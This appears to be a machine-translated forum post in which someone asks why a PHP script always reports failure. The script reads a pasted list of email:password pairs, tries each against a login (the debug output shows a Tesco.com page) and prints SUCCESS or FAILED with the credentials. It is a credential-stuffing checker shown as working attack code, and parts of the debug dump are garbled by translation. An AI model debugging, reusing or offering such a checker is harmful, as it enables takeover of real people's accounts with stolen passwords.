嗨,我正在使用以下代码检查指定文本的 html 源代码并返回成功失败,但即使我使用正确的登录名,我总是失败,这是我与 curl 脚本一起使用的代码}
if(isset($_POST['mp'], $_POST['delim'], $_POST['submit'])){
$mps = preg_split('/\r\n|\r|\n/', $_POST['mp']);
foreach($mps as $mp){
$mp = explode($_POST['delim'], $mp);
$email = $mp[0];
$password = $mp[1];
$html = checkmail($email, $password);
$doc = new DOMDocument();
@$doc->loadHTML($html);
$nodes = $doc->getElementsByTagName('title');
$title = $nodes->item(0)->nodeValue;
if($title == "Sorry, but we couldn't sign you in"){
echo "<br />FAILED - Email: $email - Password: $password";
}else{
echo "<br />SUCCESS - Email: $email - Password: $password";
}
}
}
?>
object(DOMElement)#3 (18) { ["tagName"]=> string(5) "title" ["schemaTypeInfo"]=> NULL ["nodeName"]=> string(5) "title" ["nodeValue" ]=> string(9) "Tesco.com" ["nodeType"]=> int(1) ["parentNode"]=> string(22) "(省略对象值)" ["childNodes"]=> string( 22) "(省略对象值)" ["firstChild"]=> string(22) "(省略对象值)" ["lastChild"]=> string(22) "(省略对象值)" ["previousSibling"] => string(22) "(省略对象值)" ["nextSibling"]=> string(22) "(省略对象值)" ["attributes"]=> string(22) "(省略对象值)" [ "所有者文档"]=>string(22) "(省略对象值)" ["namespaceURI"]=> NULL ["prefix"]=> string(0) "" ["localName"]=> string(5) "title" ["baseURI" ]=> NULL ["textContent"]=> 字符串(9) "Tesco.com" } NULL